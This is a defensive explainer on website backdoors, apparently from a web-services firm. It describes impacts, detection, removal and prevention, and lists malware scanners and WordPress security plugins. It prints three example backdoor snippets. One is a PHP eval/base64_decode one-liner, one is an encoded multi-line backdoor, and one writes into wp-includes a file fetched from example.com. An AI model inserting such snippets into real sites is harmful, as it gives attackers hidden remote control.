What Are Website Backdoors

How To Prevent Backdoors
How To Remove Backdoors

Gaining Unauthorized Access to your Website

Updated: March 18, 2022
RSH Web Editorial Staff
Website Backdoors
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Website BackDoor

These are hidden entry points that offer unrestricted access to your website to anyone who knows how to use them. Codes which are deliberately planted on a website with an intention of further exploitation. Hackers love back doors because it allows them to control a website remotely, bypassing most security measures

Impact of Backdoor Infections

Backdoors can cause severe damage to your website. And you are very likely to suffer some or all of the following consequences

• You lose potential customers by being redirected to a malicious site
• Mysterious popups on your web pages that asking visitors to download software
• Spam emails are being sent out from your Website / Domain Name
• Files are being stored such as pirated films, TV shows, software... This can also slow your Website
• Hackers can steal credit card information or medical records
• Hijacking of your advertisements. Or displaying their own ads, and profiting from your traffic

Legitimate vs. Illegitimate back doors

Legitimate or Developer’s Backdoor These are sometimes called a Maintenance Hook, Administrative Backdoor, or a Proprietary Backdoor. They are backdoors created on purpose by developers during the development process of the software, hardware or website. The back door allows them a quick way to test features, remove bugs and write code without having to create an actual account or deal with repeated logging in

Illegitimate or Hacker’s back door. Sometimes called a backdoor attack. The backdoor gives hackers access to elevated user privileges that allow them to infect systems and networks.

Backdoors can be present in computing hardware or firmware. Backdoors have been found in CPUsand Servers, in addition to operating systems, Applications and Browsers websites, and softwares.

Do You Actually Have A Backdoor?

Did you find strange pages or files that you did not create? Did you find malware on your website or find it again even after a thorough cleanup? One symptom is multiple malware infections to your website. Do you see unauthorized activities from your websites accounts
Then you probably have a hidden backdoor on your business website

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How To Find Backdoors?

As the name suggests, backdoors are malicious scripts hidden in files and folders of a website. The main purpose of backdoors is to remotely control the website by dodging the usual authentication processes. Most of the time, they can remain undetected even after a malware cleanup.

What makes these website back doors so dangerous is that they are designed with the purpose of staying hidden. Not only backdoors are known to disguise themselves as legitimate scripts which makes it even more difficult to detect, but there are many different types of website backdoors

Knowing about the different types can help in the search as you will have an idea of what to look for. Website backdoors are broadly classified into three categories:

One-Liner Simple Backdoors

Do not let the name deceive you. The name might be simple but it is hardest to find. You can imagine how difficult it could be to find out a single line of text from thousands of lines of code

Example of a "One Liner" backdoor

##########################################
eval (base64_decode($_post[“php”]));
##########################################

Multi-Liner Complex Backdoors

The multi-liner backdoors are a group of malicious codes that are hidden in legitimate files. It is comparatively easier to detect multi liner backdoors than one-liner backdoors as they are some times easier to locate

Example of a "Multi Liner" backdoor

##########################################
$ auth_pass = "63a9f0eakeoi374mismw293";
$ color = "#dg4";
$ defualt_action = "SQL";
$ defualt_charset = "Windows-1251";
$ protectionoffer = "flcken";
preg_replace("/.*/e","x65x78x51x7d.. (hundreds of more lines)
##########################################

CMS Specific Backdoors

There are certain backdoors that are specifically designed for CM'S like WordPress. For instance PHP based CMSs are targeted by most of the attackers

The below code is an example of such a CMS specific backdoor

################################################################
@ file_put_contents ( ABSpath . '/wp-includes/class.wp.php',
    file_get_contents (' http://www.example.com/admin.text'));
################################################################

Steps to Remove Backdoors

One way to find backdoors is to use a online scanner such as the ones listed below

Sucuri • Scan your website against malware for free

Coder Duck • Free malware scanning for your Website

Hacker Combat • Free Website Malware Scanner

Scan trics • Analyze your website security scanner

Web Malware Removal • Free Website Malware Virus Scan

PC risk • Scans websites for malicious code, hidden iframes, vulnerability exploits

Web Inspector • Scan for malicious software and other website malware

Malcure • Free website security scanner

Virus Total • Analyze suspicious files, domains, IPs and URLs to detect malware and other breaches, automatically share them with the security community

File Comparing

The best way to remove a website backdoor is by comparing the infected files on your website to that of a Pre Infected Website backup

These files are recognized by a numerical signature known as a checksum. It will help you in the verification of whether or not your files are infected. Or if you notice any file has been modified without your knowledge you should definitely check those

Remove Modified Files

If you were recently attacked and have not removed the modified files from your website, do it now
You can also manually check the contents of the files and look for any modification and remove the modified snippet manually. But we will suggest you delete the entire file because you never know where the backdoor can be hidden

Prevent Further Website Backdoor Attacks

After the removal of backdoors the next wise step would be taking preventive measures against backdoor hacks

Keep Your Website Up-to-Date

As we have said before, always keep the core files of your website updated. The same goes for themes and extensions

Remove Inactive Plugins and Themes

Inactive themes and plugins are the best places to hide a website backdoor. If you still have inactive themes and plugins remove them

Protect The Login Page

The login page of any website is the most vulnerable point. If a hacker gets past your login page, they will have complete control over your site. Along with strong credentials multi-factor authentication can help immensely

Use a Security Firewall

Use a reliable firewall from a trusted source to build a wall between the incoming traffic and your website.

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Malware and Security Plugins

There are many malware scanning and Security plugins that you can use to scan your WordPress website for intrusions

WPScan WordPress Security Scans your system for security vulnerabilities listed in the WPScan Vulnerability Database

Security Ninja Tests security issues, malware & warns of dangerous plugins

Sucuri Plugin Security tool-set for security integrity monitoring, malware detection and security hardening

All in One WP Security A comprehensive, user-friendly, all in one WordPress security and firewall plugin for your site

SecuPress Free Protect your WordPress with SecuPress, analyze and ensure the safety of your website daily

Google Authenticator plugin Google Authenticator, Two Factor Authentication, OTP verification, SMS and Email

BulletProof Security Malware scanner, Firewall, Login Security, DB Backup, Anti-Spam and much more

Defender Security Malware scanner, IP blocking, audit logs, activity logs, firewall, login security and more

Shield Security Add expert security to all your WordPress sites with Shield Security, without being a security expert

iThemes Security Formerly Better WP Security

Wordfence Firewall, malware scan, blocking, live traffic, login security & more

WP fail2ban Write a myriad of WordPress events to syslog for integration with fail2ban

MalCare Security Smart Firewall, malware scan, login protection and more

WordPress Security Firewall, malware scan, blocking, live traffic, login security and more

WP Cerber Security Malware scanner and integrity checker. User activity log. Antispam reCAPTCHA. Limit login attempts

Loginizer WordPress security plugin which helps you fight against brute-force attacks

Jetpack Backup, anti spam, malware scan, CDN, AMP, integrations with Woo, Facebook, Instagram, Google

VaultPress A subscription service offering real-time backup, automated security scanning, and support from WordPress experts

Hide My WP Hide all common paths, wp-admin, wp-login, wp-content, plugins, themes, authors, comments Add Firewall, Brute Force protection & more

WebARX Web application firewall identifies plugin vulnerabilities and blocks malicious attacks with virtual patches

Security and Malware scan by CleanTalk Security, FireWall, Malware auto scan, online security. Security plugin

SecuPress Free Protect your WordPress with SecuPress, analyze and ensure the safety of your website daily

Conclusion

Website backdoors can turn into a disaster if left unchecked. It is crucial for the safety of your website and visitors that you remove backdoors immediately

Tighten the overall security of your website to prevent any hacker intrusion. If you add new features or update your website regularly.

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